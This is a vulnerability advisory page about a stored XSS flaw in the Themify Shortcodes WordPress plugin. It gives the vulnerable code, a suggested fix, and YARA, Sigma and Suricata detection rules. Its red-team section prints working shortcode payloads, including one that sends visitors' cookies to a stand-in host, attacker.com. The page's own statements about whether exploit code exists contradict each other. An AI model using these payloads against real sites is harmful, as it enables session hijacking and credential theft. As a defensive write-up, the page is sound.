CVE-2024-4567
Executive Summary
CVE-2024-4567 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Shortcodes WordPress plugin, affecting all versions up to and including 2.0.9. The flaw resides in the themify_button shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into pages. When a victim (including administrators) visits the compromised page, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation in the wild. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should treat this as a supply chain risk: the plugin is a third-party component integrated into WordPress sites. No known malicious packages exist, but the lack of a patch means site owners must rely on workarounds or plugin removal.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): None (N) – No user action needed for script execution.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Attacker can modify content via injected scripts.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., admin session hijacking) raises the risk for unpatched sites.
Deep Dive & Mechanics
The themify_button shortcode is processed by the plugin’s do_shortcode handler. The vulnerability arises because the plugin directly outputs user-controlled attributes (e.g., color, size, link) without proper sanitization or escaping. For example:
// Vulnerable code in themify-shortcodes.php
function themify_button_shortcode($atts) {
extract(shortcode_atts(array(
'color' => '',
'size' => '',
'link' => '',
), $atts));
return '<a href="' . $link . '" class="themify-button ' . $color . ' ' . $size . '">Button</a>';
}
An attacker can inject JavaScript via the link attribute:
[themify_button link="javascript:alert('XSS')"]Click[/themify_button]
Or via the color attribute:
[themify_button color="red\" onclick=\"alert(1)\""]Click[/themify_button]
The injected script is stored in the WordPress database and executed when the page is rendered.
Vulnerable vs. Patched Code
Vulnerable (<=2.0.9):
// No sanitization or escaping
$output = '<a href="' . $link . '" class="themify-button ' . $color . ' ' . $size . '">' . $content . '</a>';
Patched (hypothetical):
// Proper escaping
$link = esc_url($link);
$color = esc_attr($color);
$size = esc_attr($size);
$output = '<a href="' . $link . '" class="themify-button ' . $color . ' ' . $size . '">' . esc_html($content) . '</a>';
No official patch exists; the above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites: WordPress site with Themify Shortcodes <=2.0.9, contributor-level account.
Step 1: Log in as a contributor. Step 2: Create a new post/page and insert the malicious shortcode:
[themify_button link="javascript:alert(document.cookie)"]Click[/themify_button]
Step 3: Publish the post. Any user visiting the page will see an alert with their cookies.
Step 4: For advanced exploitation, use a payload that exfiltrates cookies:
[themify_button link="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]Click[/themify_button]
Note: No public exploit code is available; the above is a proof-of-concept.
Blue Team
Detection: Monitor for posts containing [themify_button with suspicious attributes. Use the YARA/Sigma rules below.
Prevention: Disable the plugin or restrict contributor-level access. Implement a Web Application Firewall (WAF) rule to block javascript: in shortcode attributes.
Hunting: Search the WordPress database for posts containing themify_button and inspect the link attribute for malicious patterns.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/themify-shortcodes/themify-shortcodes.php(version <=2.0.9) - Database: Posts/pages containing
[themify_buttonwithjavascript:oron*event handlers. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress audit logs showing post creation/modification by contributor accounts with shortcode usage.
Detection Engineering
YARA Rule
rule Detect_Themify_Shortcodes_XSS {
meta:
description = "Detects malicious shortcode usage in WordPress posts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4567"
strings:
$shortcode = /\[themify_button[^\]]*?(?:javascript|on\w+\s*=)/i
$plugin_file = "themify-shortcodes.php"
condition:
$shortcode or $plugin_file
}
Sigma Rule
title: WordPress Themify Shortcodes Stored XSS
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via themify_button shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "themify_button"
http.url|contains|any:
- "javascript:"
- "onclick"
- "onerror"
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4567 Themify Shortcodes Stored XSS"; flow:to_server,established; content:"themify_button"; http_uri; pcre:"/\[themify_button[^\]]*?(?:javascript|on\w+\s*=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Themify Shortcodes plugin until a patch is released.
- Alternative: Replace with a different shortcode plugin that is actively maintained.
- Mitigation: Restrict contributor-level access to trusted users only. Implement a WAF rule to block
javascript:in shortcode attributes. - Monitoring: Regularly scan WordPress posts for suspicious shortcode usage.
- Patch: Monitor the WordPress plugin repository for updates. If no patch appears, consider forking the plugin and applying the fix manually.
Valters IT – Securing digital ecosystems with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.